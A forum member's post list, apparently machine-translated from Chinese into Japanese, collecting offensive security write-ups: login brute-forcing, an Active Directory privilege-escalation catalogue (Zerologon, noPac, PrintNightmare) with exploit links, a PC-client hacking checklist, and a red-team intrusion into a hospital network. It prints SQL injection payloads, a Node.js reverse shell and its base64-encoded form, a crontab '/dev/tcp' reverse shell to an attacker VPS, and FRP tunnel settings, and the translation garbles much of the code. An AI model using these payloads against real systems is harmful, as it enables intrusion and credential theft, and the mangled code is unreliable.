Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. 浸透テスト中に、多くのWebログインページがあります。では、テストを実施するためにどのようなアイデアを使用する必要がありますか?私のテスターのアイデアのいくつかを見てみましょう。 テストアイデアこのようなWebログインボックスを表示すると、どのように浸透しますか? ログインするときに検証コードがなく、ブラストの問題が発生することがわかります。したがって、ブラストのユーザー名は一般的に何が存在しますか 1.admin 2.テスト 3.root ここでは、対応するシステムのオペレーターテストを見つけ、アカウントを収集および管理し、爆破の可能性を高めることもできます。 ここで爆破が行われましたが、結果はありませんでした ディレクトリスキャンディレクトリをスキャンできます。いくつかのスキャンされたディレクトリは認証されておらず、直接アクセスできるかもしれません。 上記の方法がJSファイルによって承認されていない後、次のJSファイルを見ていきます index.jsに /systemmng /index URLがあることがわかりました アクセスをスプライスしようとします スプライシングした後、何もないことがわかりました。あきらめる準備はできていますか? 心配しないでください、JSが驚きを見つけたかどうか見てみましょう いくつかのピースのスプライシングは非常に有害です。すべての人のために使用し続けるために1つ取ってください コンビネーションパンチの弱いパスワード爆発がこの点に達しました。管理者のアカウントと電話番号を取得しました。また、パスワードを直接リセットすることもできます(正しいアカウントを取得して爆発してみてください) パスワードが暗号化され、M5として見つかったことがわかります。 Burpが提供するトランスコーディングとブラストを使用できます。 爆破は成功し、アカウントは比較的複雑です。以前の操作なしではユーザー名を取得できません。 正常にログインします ログインしてパッケージテストを返します。ログインしたアカウントパスワードを自由に入力します。ログインしてパッケージをつかみます。 認証データを変更した後 変更後、ジャンプに関するデータがないことがわかりました。 JSにはまだリークがありました。 同じ方法 オーバーリーチは、通常のユーザーのアカウントパスワードを取得しました。次に、右、垂直のオーバーリーチ、または並行した過剰なオーバーリーチを試してみる必要があります。 ブラストアカウントを使用して、ログインしてパケットをキャプチャします。この場所のマスターは、データパケットを数回視聴し、掘るときにパケットを返すことができます。 構築するとき、私はそれが検証IDだと思った。さらに数回のテストの後、コードパラメーターのみを認識していることがわかりました。 ウェブサイト上のすべての許可を取得することを許可しないでください 元の接続:https://xz.aliyun.com/t/11612
  2. 1.MS14-068KERBEROS認定、PACなし ユーザーがKerberos Key Distribution Center(KDC)からTGT(チケット承認サービスによって生成されたID資格)を申請すると、自分のKerberosチケットを偽造できます。 脆弱性効果: 任意のドメインユーザーをドメイン管理アクセス許可に昇格させます 使用条件: 1. 2012R2未満のドメイン制御には、MS14-068(KB3011780)のパッチがありません 2。ドメインに結合するコンピューターを取得します 3.このドメインにドメインユーザーパスワードとコンピューターのSIDを持っている 使い方: 第:010条- 30000条には詳細な説明があります これは、https://cloud.tencent.com/developer/article/1760132にあります 2.CVE-2020-1472 Netlogon特権エスカレーションの脆弱性(CVE-2020-1472)は、Windowsドメイン制御における深刻なリモート特権エスカレーションの脆弱性です。 Netlogonが使用するAES認証アルゴリズムのデフォルトのVIベクトルは0であり、攻撃者が認証をバイパスします。同時に、ドメイン制御パスワードを設定するリモートインターフェイスもこの関数を使用して、 ドメイン制御マシンユーザーのパスワードを空に設定します。 このようにして、ドメインハッシュをガイドし、最終的にドメイン制御マシンユーザーのパスワードを復元できます。 脆弱性効果: この脆弱性は、ドメイン管理アクセスを取得するために使用できます 影響バージョン: x64ベースのシステムサービスパック用のWindows Server 2008 R2 X64ベースのシステムサービスパック用Windows Server 2008 R2(サーバーコアインストール) Windows Server 2012Windows Server 2012(サーバーコアインストール) Windows Server 2012 R2 Windows Server 2012 R2(サーバーコアインストール) Windows Server 2016Windows Server 2016(サーバーコアインストール) Windows Server 2019Windows Server 2019(サーバーコアインストール) Windows Server、バージョン1903(サーバーコアインストール) Windows Server、バージョン1909(サーバーコアインストール)Windows Server、バージョン2004(サーバーコアインストール) 使い方: 準備ツール: Impacket Toolkit:https://github.com/secureauthcorp/impacket.git POC:https://github.com/securabv/cve-2020-1472.git Exp:https://github.com/dirkjanm/cve-2020-1472 Exp:https://github.com/risksense/zerologon https://cloud.tencent.com/developer/article/1780108 https://cloud.tencent.com/developer/article/1837483 3.CVE-2021-4228742278 Windowsドメインサービスの許可の高さの脆弱性(CVE-2021-42287、CVE-2021-42278)は、Active Directory Domain Serviceが適切なセキュリティ制限を実装しておらず、セキュリティ制限によってバイパージできる許可エスカレーションをもたらすためです。攻撃者は、この脆弱性を悪用して、ドメイン内の通常のユーザー権をドメイン管理者の権利に引き上げることができます 脆弱性効果: 任意のドメインユーザーをドメイン管理アクセス許可に昇格させます 影響バージョン: Windows Server 2012 R2(サーバーコアインストール) Windows Server 2012 R2 Windows Server 2012(サーバーコアインストール) Windows Server 2012 X64ベースのシステムサービスパック用Windows Server 2008 R2(サーバーコアインストール) x64ベースのシステムサービスパック用のWindows Server 2008 R2 X64ベースのシステムサービスパック2のWindows Server 2008(サーバーコアインストール) X64ベースのシステムサービスパックのWindows Server 2008 2 32ビットシステムサービスパック2のWindows Server 2008(サーバーコアインストール) 32ビットシステムサービスパックのWindows Server 2008 2 Windows Server 2016(サーバーコアインストール) Windows Server 2016 Windows Server、バージョン20H2(サーバーコアインストール) Windows Server、バージョン2004(サーバーコアインストール) Windows Server 2022(サーバーコアインストール) Windows Server 2022 Windows Server 2019(サーバーコアインストール) Windows Server 2019 使用条件: (1)共通ドメインメンバーアカウント (2)ドメインユーザーは、マシンユーザーを作成する許可を持っています(一般的なデフォルトのアクセス許可) (3)DCはKB5008380またはKB5008602にパッチを適用していません 使い方: https://github.com/wazehell/sam-the-admin https://github.com/ridter/nopac https://blog.csdn.net/fhlzlhq/article/details/121964692 4.CVE-2021-1675/CVE-2021-34527 PrintnightMareこの脆弱性は当初CVE-2021-1675であり、その後MicrosoftはCVE-2021-34527に脆弱性を割り当て、2つの脆弱性は非常に似ているが、攻撃ベクターは異なると述べました。 Print Spoolerは、印刷関連のトランザクションを管理するWindowsのサービスです。すべてのローカルおよびネットワーク印刷キューを管理し、すべての印刷作業を制御するために使用されます。プリントスプーラーサービスは、Windowsシステムでデフォルトで有効になっており、通常のユーザーはこの脆弱性を使用して、システム管理の許可にアップグレードできます。 脆弱性効果: 認証されていないリモート攻撃者は、この脆弱性を悪用して、システム許可を使用してドメインコントローラー上の任意のコードを実行し、ドメイン全体の制御を獲得することができます。 影響バージョン: Windows Server 2012 R2(サーバーコアインストール) Windows Server 2012 R2 Windows Server 2012(サーバーコアインストール) Windows Server 2012 X64ベースのシステムサービスパック用Windows Server 2008 R2(サーバーコアインストール) x64ベースのシステムサービスパック用のWindows Server 2008 R2 X64ベースのシステムサービスパック2のWindows Server 2008(サーバーコアインストール) X64ベースのシステムサービスパックのWindows Server 2008 2 32ビットシステムサービスパック2のWindows Server 2008(サーバーコアインストール) 32ビットシステムサービスパックのWindows Server 2008 2 Windows RT 8.1 X64ベースのシステム用Windows 8.1 32ビットシステム用のWindows 8.1 X64ベースのシステムサービスパック用Windows 7 32ビットシステムサービスパック用のWindows 7 Windows Server 2016(サーバーコアインストール) Windows Server 2016 X64ベースのシステム用Windows 10バージョン1607 32ビットシステム用のWindows 10バージョン1607 X64ベースのシステム用Windows 10 32ビットシステム用のWindows 10 Windows Server、バージョン20H2(サーバーコアインストール) ARM64ベースのシステム用のWindows 10バージョン20H2 32ビットシステム用のWindows 10バージョン20H2 X64ベースのシステム用Windows 10バージョン20H2 Windows Server、バージョン2004(サーバーコアインストール) X64ベースのシステム用Windows 10バージョン2004 ARM64ベースのシステム用のWindows 10バージョン2004 32ビットシステム用のWindows 10バージョン2004 32ビットシステム用のWindows 10バージョン21H1 ARM64ベースのシステム用のWindows 10バージョン21H1 X64ベースのシステム用Windows 10バージョン21H1 ARM64ベースのシステム用のWindows 10バージョン1909 X64ベースのシステム用Windows 10バージョン1909 32ビットシステム用のWindows 10バージョン1909 Windows Server 2019(サーバーコアインストール) Windows Server 2019 ARM64ベースのシステム用のWindows 10バージョン1809 X64ベースのシステム用Windows 10バージョン1809 32ビットシステム用のWindows 10バージョン1809 利用シナリオ ワーキンググループ環境では、この脆弱性を通じて最高のシステム許可を取得できます。ドメイン環境では、直接攻撃ドメインコントローラーは、ドメイン制御のシステム許可を取得し、任意のコードを実行できます。永続的な操作に使用できます。ドメインコントロールを取得した後、共有ディレクトリのDLLは共有ディレクトリがあり、ドメインコントロールにアクセスできる場合にリモートにロードできます。利用の条件 ターゲットは、スプーラーサービスを有効にします。通常の権限を持つドメインアカウント。作成されたSMBサービスにより、匿名アクセスが可能になります。つまり、ターゲットはファイルを直接取得できます。使い方 https://github.com/cube0x0/cve-2021-1675 https://github.com/cube0x0/impacket https://github.com/3gstudent/invoke-buildanonymoussmbserver https://bewhale.github.io/posts/29501.html https://mp.weixin.qq.com/s/1sr0wtyjff5unupjtj-dww 5.CVE-2019-1040 2019年6月、Microsoftはセキュリティアップデートをリリースしました。この更新により、CVE-2019-1040の脆弱性が修正されます。この脆弱性では、攻撃者は、中間攻撃を介してNTLM MIC(メッセージ整合性チェック)保護をバイパスし、ターゲットサーバーへの認証トラフィックを中継することができます。 脆弱性効果 この攻撃により、攻撃者は、1つの通常のドメインアカウントのみが利用可能な場合、ドメイン制御サーバーを含むWindowsドメイン内の任意のマシンをリモート制御できます。 影響バージョン Windows 7 SP1からWindows 10 1903 Windows Server 2008からWindows Server 2019 利用シナリオ 特定の環境では、CVE-2019-1040の脆弱性の攻撃チェーンが2つの攻撃方法で特定されています。 1。Exchange Serverドメインを攻撃します(以下のこの方法で説明) 2。攻撃ドメイン広告サーバー(リソースベースの制約代表団と組み合わせて) 利用の条件 A. Exchange Serverは、任意のバージョン(PrivexChange用にパッチされたバージョンを含む)にすることができます。唯一の要件は、交換が共有権限またはRBACモードにインストールされたときにデフォルトで高い権限を持つことです。 B.ドメイン内のアカウント。 (Spoolserviceエラーを生成するための唯一の要件は、認証されたドメイン内アカウントであるため)C。CVE-2019-1040の脆弱性の本質は、NTLMパケット整合性検証に欠陥があることです。この攻撃チェーンでは、攻撃者はSMBからLDAPへの転送を防ぐパケット内のフラグを削除しました。 D.エクスチェンジサーバーが攻撃者に認証され、LDAPを介して認証をドメインコントローラーにリレーできるようにするリクエストを作成します。これにより、リレー被害者の許可を使用してActive Directoryで操作を実行できます。たとえば、攻撃者のアカウントにDCSYNC許可を付与します。 E.信頼できるがまったく異なる広告フォレストにユーザーがいる場合、ドメインでまったく同じ攻撃を実行することもできます。 (認証されたユーザーがスプールサービスの逆接続をトリガーできるため) 脆弱性エクスプロイト攻撃チェーン 1.ドメイン内の任意のアカウントを使用して、SMBを介して攻撃されたExchangeサーバーに接続し、リレー攻撃サーバーを指定します。同時に、spoolserviceエラーを使用して逆SMBリンクをトリガーする必要があります。 2。リレーサーバーは、SMBを介して攻撃者のホストに戻り、NTLMRELAYXを使用して、LDAPへのCVE-2019-1040の脆弱性を使用してNTLM認証データを変更した後、SMBリクエストパケットをリレーします。 3.リレーしたLDAP認証を使用します。この時点で、Exchange Serverは攻撃者のアカウントにDCSYNC許可を付与できます。 4.攻撃者のアカウントは、DCSYNCを使用して、ADドメインのすべてのドメインユーザーパスワードのハッシュをダンプします(ドメイン管理者のハッシュを含み、ドメイン全体が削除されました)。 使い方: https://github.com/secureauthcorp/impacket https://github.com/dirkjanm/krbrelayx https://github.com/ridter/cve-2019-1040 https://github.com/ridter/cve-2019-1040-dcpwn 同じネットワークセグメント:https://www.freebuf.com/vuls/274091.html トンネルの下:https://zhuanlan.zhihu.com/p/142080911 CVE-2019-1040+RBCD(リソースベースの結合委任)+PetitPatom 6。ドメイン委任攻撃 https://mp.weixin.qq.com/s/gdmnlskjxhela4guwxtkq 7.NTLMリレー https://www.anquanke.com/post/id/1931493https://www.anquanke.com/post/id/1934933https://www.anquanke.com/id/1940693https://www.anquanke.com/post/id/194514 8。ADCS脆弱性-ESC8(Petitpotam)(ADCSリレー) ADCS認証はNTLM認証をサポートするため、ESC8はHTTP NTLMリレーです。 脆弱性効果: 通常のドメインユーザーをドメイン管理権限に昇格させます 使用条件: 1. ADCSへのパッチはありません2。2つのドメインコントロールがあります3。ADCSサービスがあります 使い方: https://blog.csdn.net/qq_43645782/article/details/119322322 https://forum.butian.net/share/1583 9。ADCS脆弱性- CVE-2022–26923 脆弱性インパクト:を使用すると、低主権のユーザーは、アクティブディレクトリ証明書サービス(AD CS)サーバーの役割を備えたデフォルトのActive Directory環境でドメイン管理者へのアクセス許可を高めることができます。 脆弱なコンポーネント:Active Directory証明書サービス(広告CS) 脆弱性の簡単な説明:マシンアカウントを構築し、DNSHOSTNAME属性を改ざんすることにより、AD CSは証明書を申請するときにDNSHOSTNAME属性を証明書に埋め込み、マシンアカウントは高権限のあるドメイン制御アイデンティティを取得します。 影響を受けるWindowsバージョン: Windows 8.1 Windows 10バージョン1607、1809、1909、2004、20H2、21H1、21H2 Windows 11 Windows Server 2008、2016、2019、2022 使用率の前提条件: CVE-2022-26923/CVE-2022-26931脆弱性は、2021 CVE-2021-42278/CVE-2021-42287SAMACCOUNTNAMEスプーフィングの脆弱性に似ています。どちらもForgedドメインコントローラー名IDを使用して、関連する特権操作操作を実行します。その利用の前提条件は次のとおりです。 特権エスカレーションの脆弱性は、Windows Server 2012 R2からWindows Server 2022への現在Microsoft製品サポート範囲内のすべてのWindows Server Active Directoryバージョンや、製品サポート範囲を超えた古いWindows Serverバージョンを含むすべてのWindows Server Active Directoryバージョンに適用されます。侵入者は、Activeディレクトリ内の少なくとも1つのコンピューターアカウントの「DNSホスト名への書き込み」許可を「検証した」許可を取得した少なくとも1つのActive Directoryユーザーアカウントを制御します。デフォルトでは、単一のActive Directory Normal Domainユーザーは、アクティブなディレクトリに10のコンピューターアカウントを参加または作成し、作成/作成したコンピューターアカウントの作成者オーナーの管理権許可(「DNSHOST名への検証済みの書き込み」を含む)を含むことができます。したがって、この許可は簡単に取得できます。エンタープライズ証明書サービスはActive Directoryに展開され、上記の制御されたコンピューターアカウントがコンピューター認証証明書を申請できるようにします。エンタープライズ証明書サービスは、Active Directoryに広く展開されている関連する基本サービスであり、デフォルトでは、Active Directoryと統合されたエンタープライズ証明書サービスにより、ドメイン内のコンピューターがデフォルトでコンピューター認証証明書を適用できます。複製リファレンス: https://forum.butian.net/share/1578 https://forum.butian.net/share/1583 10。交換に関連して、Exchange Serverを制御できます 交換はドメインで重要な役割を果たします。一般的に言えば、Exchangeサーバーへのアクセス許可を取得することは、基本的にドメイン管理に権限を取得することと同等です。 Exchangeサーバーを取得すると、ドメインマネージャーが直接ログインする可能性が高くなります。または、ドメインマネージャーがログインしました。ExchangeServerのアクセス許可を取得すると、ドメイン制御Cドライブを直接監視して許可があるかどうかを確認することができます。許可がない場合は、Mimikatzを使用してパスワードの波をキャッチしてみてください。ドメインマネージャーまたは承認されたユーザーを直接キャッチできる可能性が高いです。さらに、サーバーのより高いバージョンでも、ExchangeでPlantextパスワードをキャッチできます。 11.CVE-2018-8581(ドメインコントロールを使用) 脆弱性の説明: この脆弱性は、SSRFとExchangeサーバーの高額なリクエストを活用して、正当なメールボックス資格情報を持つユーザーがドメイン管理許可に昇格するようになります。 衝撃の範囲: Exchange Server 2010 Exchange Server 2013 Exchange Server 2016 使用条件: デフォルトでは、攻撃者は正当なメールボックスユーザー資格情報を持っています。同時に、エクスプロイトはNTLMリレーを通じて権限を高めているため、攻撃者はすでにイントラネット環境で利用可能なホストを取得する必要があります。 脆弱性の紹介: 脆弱性はいくつかの面で発生します。 まず、Exchangeを使用すると、ユーザー(認証されている限り)がEWSインターフェイスを介してプッシュサブスクリプション(プッシュサブスクリプション)を作成し、通知プッシュの宛先としてURLを指定できます。第二に、通知がプッシュにサブスクライブされた後、Exchangeはプッシュがトリガーされたときに資格情報クラスのDefaultCreDentialsプロパティを使用します。 EWSはシステム許可を得て実行されるため、DefaultCreDentialsを使用するときに発行されたHTTP要求は、この許可を使用してNTLM認証を開始します。 EWSリクエストでは、ヘッダーでSerializedSecurityContextを使用することにより、SIDを指定することで、IDのマスカレードを実装できるため、指定されたユーザーとしてEWSコールオペレーションを実行できます。言い換えれば、[Exchangeサーバーを制御してHTTPプロトコルのNTLM要求を開始して、Exchange MachineユーザーのNet-NTLMハッシュを取得できるようにします] このエクスプロイトにはNTLMによるリプレイ攻撃が含まれるため、考えるのは簡単なことは、クレデンシャルをドメイン制御マシンに再生することです。リプレイされたNTLM資格情報はExchangeサーバーのマシンユーザー許可から得られるため、LDAPセクションのリレーの説明によると、Exchange Machineユーザーには書き込みACLアクセス許可があり、ユーザーにアクセス許可を上げてDCSYNC許可を与え、それによってすべてのパスワードハッシュをダンプすることができます。 サーバーが署名を必要とするかどうか: リレーするサーバーはLDAPです。前のセクション[LDAP署名]では、LDAPサーバーのデフォルトポリシーはネゴシエートされた署名です。署名するかどうかは、クライアントによって決定されます。クライアントは状況に分かれています。 SMBプロトコルの場合、署名はデフォルトで必要です。 WebADVまたはHTTPプロトコルの場合、署名は必要ありません。 この脆弱性で開始された要求はHTTPプロトコルです。つまり、何もする必要はなく、この脆弱性に署名を必要としません。 Exp : https://github.com/ridter/exchange2domain #ntlmrelayx.py+privexchange.py+secretdump.pyを使用することもできます https://github.com/dirkjanm/privexchange https://github.com/secureauthcorp/impacket 複製については、この記事を参照してください。 https://www.jianshu.com/p/e081082cbc73 CVE-2020-0688(RCE)脆弱性説明:攻撃者がさまざまな手段を通じてExchangeコントロールパネル(ECP)コンポーネントにアクセスできるユーザーアカウントパスワードを取得した場合、攻撃された交換のコードを実行し、サーバーの任意を直接取得できます。 利用条件:Exchange Server 2010 SP3/2013/2016/2019、通常のアカウント。 攻撃スクリプト: https://github.com/zcgonvh/cve-2020-0688 https://github.com/random-robbie/cve-2020-0688 再現: https://www.anquanke.com/post/id/226543#h3-13 12.CVE-2020-17144(RCE) 脆弱性の説明:リモート攻撃者は、認証をバイパスし、特別なcmdletパラメーターを構築することで脆弱性を活用できます。
  3. 0x00はじめに このプロジェクトは、主にPCクライアント(CSアーキテクチャ)の浸透テストをターゲットにしており、独自のテストエクスペリエンスとネットワークデータを組み合わせてチェックリストを形成します。ご質問がある場合は、お問い合わせください。さらに、より多くのスキルとケースを提供してください。 0x01概要 PCクライアント、豊富な機能を備えたGUI、C-Sアーキテクチャ。 0x02開発言語 C#(.NET)、Java、Delphi、C、C ++ . 0x03プロトコル TCP、HTTP(S)、TDS . 0x04データベース Oracle、MSSQL、DB2 . 0x05テストツール //関連ツールのダウンロード:https://github.com/thelsa/hack-cs-tools DVTA:PCクライアントシューティングレンジ IDA Pro:静的分析ツール ollydbg:動的分析ツール CFFエクスプローラー:PEファイル分析 PEID:シェルチェックツール ExeinFope/Studype:PEファイル分析 Wireshark:トラフィックを観察します TCPView:TCPトラフィックを観察します エコーミラージュ:TCPトラフィックを傍受できます BURPSUITE:HTTP(S)パケットキャプチャ プロキシファイア:グローバルプロキシトラフィック Procmon:ファイルとレジストリの監視 Regshot:レジストリの変更比較 プロセスハッカー:プロセス分析 regfromApp:レジストリ監視 wsexplorer:年間アライアンスプロセスパケットキャッチツール 文字列:プログラムの文字列を表示します .net [anti] compilation: dotpeek de4dot dnspy ilspy sae イルダム ilasm Javaの逆コンパイル ジャド jd-gui JADX dex2jar オンラインバージョン: Javare.cn www.javadecompilers.com Reflexil:アセンブリエディター(ILSPYプラグインとして使用できます) VCG:自動コード監査ツール Binscope:Binscope 0x06エージェント設定 ほとんどのクライアントにはプロキシ構成関数がなく、次のようにグローバルプロキシをセットアップする必要があります。 1)IEインターネット設定と接続-LAN設定。 2)プロキシフィア - プロキシサーバー/プロキシフィスルール //HTTPのトラフィックをBurpsuiteと組み合わせることで、簡単にテストすることができます(プロキシサーバーはプロキシアドレスに設定されます)。 0x07テストポイント 0。 情報収集 コンピレーション情報、開発環境/言語、使用法プロトコル、データベース、IP、難読化/暗号化、シェルなど。 ケース0-CFFクライアント情報を表示(コンピレーション環境など) DVTA 1。リバースエンジニアリング 逆コンパイル、ソースコードリーク、ハードコーディングキー/パスワード、暗号化され、復号化されたロジック、役割判断ロジック(0-Admin、1-ノルマルーザー)、バックドアなど。 ケース0-暗号化と復号化ロジックを取得し、復号化ツールを書き込むための逆コンパイル DVTA このロジックとの導入されたtext:ctsvjz0jqghxywbsrcpxpq==で得られた情報 AES KEY:J8GLXC454O5TW2HEF7HAHCXPUFJ9V8K8 IV:FQ20T0GMNXA6G0L4 復号化ツールを書きます システムの使用。 System.collections.genericを使用しています。 System.comPonentModelを使用しています。 System.Dataを使用しています。 System.drawingを使用しています。 System.linqを使用しています。 System.textを使用しています。 System.threading.tasksを使用しています。 system.windows.formsを使用しています。 System.security.cryptographyを使用します。 名前空間aesdecrypt { パブリック部分クラスaesdecrypt :フォーム { public aesdecrypt() { initializeComponent(); } private void decrypt(オブジェクト送信者、eventargs e) { string key="j8glxc454o5tw2hef7hahcxpufj9v8k8"; 文字列iv="fq20t0gmnxa6g0l4"; string encryptedtext="ctsvjz0jqghxywbsrcpxpq=="; byte [] encryptedbytes=convert.frombase64string(encryptedText); aescryptoserviceprovider aes=new aescryptoserviceprovider(); aes.blocksize=128; aes.keysize=256; aes.key=system.text.asciiencoding.ascii.getBytes(key); aes.iv=system.text.asciiencoding.ascii.getBytes(iv); aes.padding=paddingmode.pkcs7; aes.mode=ciphermode.cbc; icryptotransform crypto=aes.createdecryptor(aes.key、aes.iv); byte [] decryptedBytes=crypto.transformfinalblock(encryptedbytes、0、encryptedbytes.length); string decryptedstring=system.text.ascieencoding.ascii.getString(decryptedbytes); console.writeLine( "\ n"); Console.WriteLine( "############### Decryptデータベースパスワード############# \ n"); console.writeLine( "Decrypted Database password:" + DecryptedString + "\ n"); console.writeLine( "############## DONE ############### \ n"); } } } //https://resources.infosecinstitute.com/damn-vulnerable-client-app-part-5/#articleから発信された復号化コード ケース1-コードロジックを逆コンパイルして変更して、通常のユーザーが管理者としてログインできるように DVTA 1-イザドミン 0-ノルマルサー 1を0に変更して、管理者を決定します 2。情報漏れ プレーンテキストに敏感な情報、機密ファイル(インストールディレクトリのxxx.configなど)。 レジストリ:Regshotを使用して、クライアントの実行前後のレジストリの違い(ログインなど)を比較します。 開発およびデバッグログリーク(DVTA.EXE LOG.TXTなど) プロセスハッカーは、クライアントメモリに単純なテキストに敏感なデータ(アカウントパスワード/キーなど)を表示します。 文字列は、クライアント文字列(IP情報など)を直接表示します。 ソースコード(Github、Giteeなどなど)を表示 ケース0コンフィ分率の機密情報漏れ DVTA ケース1メモリーリークデータベースアカウントパスワード DVTA ケース2-ソースコードには、ハードコーディングされたFTPアカウントパスワードが含まれています DVTA ケース3開発およびデバッグログリーク DVTA ケース4-特定のシステムにログインした後、アカウントパスワードをローカルに保存する // FTPなどのプロトコルによってプレーンテキストで送信されたアカウントパスワード SQLステートメントプレーンテキストトランスミッション(コンストラクトインジェクション、過剰柔軟性などの使用など) ケース0 -Zhengfang Academic Affairs System SQL Statement送信プレーンテキスト、プレーンテキストデータを返します //このケースはウーユから来ています ケース1-データパケットは、特定のシステムログインでデータベースアカウントパスワードを返します 3。トランスミッショントラフィック 4。その他の脆弱性 ケース0 :01010ログイン機能など。 ケース0 ユーザー名列挙 Admin 123456などを試すことができます。 ブルートフォースの亀裂 弱いパスワード ケース0 ケース1 :010ログインの場合、ユニバーサルパスワード xxx ’または「x」=’ x xxx ’または1=1-- 入力ボックスで、 '、'、 'などの閉じたエラーを作成します)、%')、100 ---などで注文 データは、ディスプレイビットまたはエラーを使用して注入されます。原則はWebインジェクションと同じであり、異なるデータベースは類似しています。 症例0オラクル注入 'Union Select Null、null、(dualの選択ユーザーを選択)、null、null、(sys.v_ $ hwore where rownum=1からselect banner=1)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null - ケース1-MSSQL注射 111 ')および(ユーザーを選択)0-- 個人的なクリアテキスト送信 Excelをエクスポートする場合は、1+1を入力して、エクスポート後2かどうかを確認します。 電子、nodewebkitなどの sqlステートメントが公開されました ケース0-Chinese Ant Sword XSSからRCE 環境:WIN7+PHPSTUDY(PHP5.6.27-NTS)+PERL+NC+ANTSWORD2.0.5 XSS WebShell: ?php ヘッダー( 'http/1.1 500 img src=#onerror=alertx'); Windows+node.js: 成功 var net=require( 'net')、sh=require( 'child_process')。exec( 'cmd.exe'); var client=new Net.Socket(); client.connect(6677、 '127.0.0.1'、function(){client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);}); ?php ヘッダー( 'HTTP/1.1 500 NOT IMG SRC=#ONERROR=' Eval(newバッファー(dmfyig5ldca9ihjlcxvpcmuoim5ldciplcbzaca9ihjlcxvpcmuoimnoawxkx3byb2nlc3miks 5Legvjkcjbwquzxhliik7cnzhcibjbgllbnqgpsbuzxcgbmv0llnvy2tldcgpowpjbgllbnquy29ubmvj dcg2njc3lcaimti3ljaumc4xiiwgznvuy3rpb24okxtjbgllbnqucglwzshzac5zdgrpbik7c2guc3rkb3 v0lnbpcguoy2xpzw50ktskc2guc3rkzxjylnbpcguoy2xpzw50ktt9kts=、base64).toString()) ''); 関連するリファレンス https://www.anquanke.com/post/id/176379 コマンド実行 ケース0-EverNoteWindowsクライアント6.15ローカルファイルの読み取りとリモートコマンドの実行http://BLOG.KNOWNSSEC.COM/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AEB0-WINDOWS-E5%AE%A2%E6%88%B7%E7%ABATAF-ACAF-6-15-%% E6%A6 9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e5%92%8c%e8%bf%9c% ケース1-AクラウドPCクライアントコマンド実行マイニングプロセス https://www.secpulse.com/archives/53852.html ケース2-Kingsoft WPSメールメールクライアントリモートコマンド実行の脆弱性(MozillaベースのXULプログラム利用のヒント) https://shuimugan.com/bug/view?bug_no=193117 テストポイントはWebと同じです。 dll hijacks linuxファイル検索注文: 現在のディレクトリパス注文値ディレクトリプログラム検索DLL注文: //絶対パスは提供されていません 1.アプリケーションがロードされるディレクトリ。 2。現在のディレクトリ。 3。SystemDirectory(C: \ Windows \ System32 \)。 4.16ビットシステムディレクトリ。 5。Windowsディレクトリ。 6。パス変数のディレクトリ。 このプログラムは、攻撃者によって配置された悪意のあるDLLをロードできます。 Procmonを使用して、プログラムによってロードされたDLLを検索し、見つからない名前を観察します。 MSFは悪意のあるDLLを生成し、プログラムの読み込み場所に配置します。プログラムを実行すると、ペイロードをトリガーできます。 ケース0-dllハイジャック DVTA SQL注入 テストポイントはWebと同じです。 CSV注入 レジストリキー値、承認サーバーは情報構築を返します。 関連するリファレンス https://cloud.tencent.com/developer/article/1430899 xss ケース0 Zhengfang Academic Affairs Systemデータベースの任意の操作 IPを知ることでデータベースを引き継ぐことができます
  4. 0x00最初に単語を書きます 今回は、攻撃的および防御的な攻撃は非常に興味深いものでした。最初は、コンピューターは非常にイライラしていました。最終的に、コンピューターがなかった場合、彼は販売されたコンピューターのみを使用して乱用しました。 しばらくすると、私たちのプライベートターゲットは排除されました。今回は、ターゲットユニットではなく、各チームのルールとシステムにまだいくつかの問題がありました。他の人は、私たちのプライベートターゲットの一部を基本ポイントとデータポイントに割り当て、その後排除されました。その後、彼らは100パスポイントしか得点しませんでした。 Old 6は私たちのプライベートターゲットを見つめていました。オフィスには持っていなかった穴があり、ターゲットがリリースされるとすぐに着用しました。それはあまりにもいたずらであると非難されました。 ランキングは理想的で、最終ランキングは3番目でした。バックエンドサポートのない2人の技術的な兄弟と一緒にトップ3にランクされても大丈夫でした。最初の2人のヘビー級はチャンピオンシップを持っていませんでした。 1つは0dayともう1つの有名なバックエンドサポートを提出しました。最終的に、トップ2のスコアは私たちのスコアよりも半分以上高かった。 ナンセンスについて話した後、コンテンツを始めましょう。厳格なコードマスターを非難しないでください。記事の最後に、マスターはコメントを残してコミュニケーションをとることができます。 0x01ターゲット 外部ネットワークに対する病院の弱いパスワード 初日、私はプライベートターゲットとパブリックターゲットを分割しました。このターゲットは、パブリックプールのターゲットです。幸いなことに、外部ネットワーク上のパスワードが弱いです。主なことは、IPアドレスを知ることです。イントラネットに突入するとき、技術的なコンテンツはありません。目標は、公式のウェブサイトの住所を与えることです。他のチームのマスターがクラウド上の公式ウェブサイトIPに行ったと推定されています。その後、情報科学部門向けに専用の共有サーバー上のパスワードファイルを介してすべてのアクセス許可を取得しました。 攻撃パス 次に、上の写真にマークされたシリアル番号に従って、イントラネット攻撃プロセスについて説明します。 パス1/パス2外部ネットワークの弱いパスワード ここでは、このターゲットIPがどのように生まれたかについて説明します。 Cセグメント情報をIPアドレスから収集して、H3Cデバイスを見つけます。デフォルトの監査アカウントパスワードにログインし、コンソールに移動して、対応する承認情報を確認して、ターゲットIPアドレスであることを確認します。ただし、監査アカウントにはVPNトンネルを構成する許可がないため、フルポートスキャンを行い、標準以外のポートSSHの弱いパスワードを見つけました。サーバー許可を取得した後、最初にリバウンドシェル計画タスクを実行しました。 Crontab -eedit計画タスク bash -c 'exec bash -i/dev/tcp/you vps ip/you vpsポート1' 計画されたタスクを終了した後にスキャンするためにFSCANに行くだけで、イントラネットに多くの弱いSSHとMSSQLのパスワードがあることがわかりました。私は、しばらくの間、アクションがあまりにも大きくなるのを防ぐために、さらにいくつかのSSHリバウンドシェル計画タスクを作成しました。 イントラネットで多くの弱いパスワードを取得できます。 FRPを作成して、イントラネットにアクセスしてしばらく翻訳し、対応するコンパイルされたバージョンをダウンロードしやすくします。 プロジェクトアドレス:https://github.com/fatedier/frp FRPサーバー [一般] bind_port=8945 FRPクライアント [一般] server_addr=you vps ip server_port=8945 tls_enable=ture pool_count=5 [Plugin_socks] type=tcp remote_port=35145 プラグイン=socks5 #certification認証なしで次の2行を削除します plugin_user=admin plugin_passwd=admin@123 use_encryption=true use_compression=true VPSで実行します ./FPRS -C FRPS.INI スプリングボードマシンで実行します 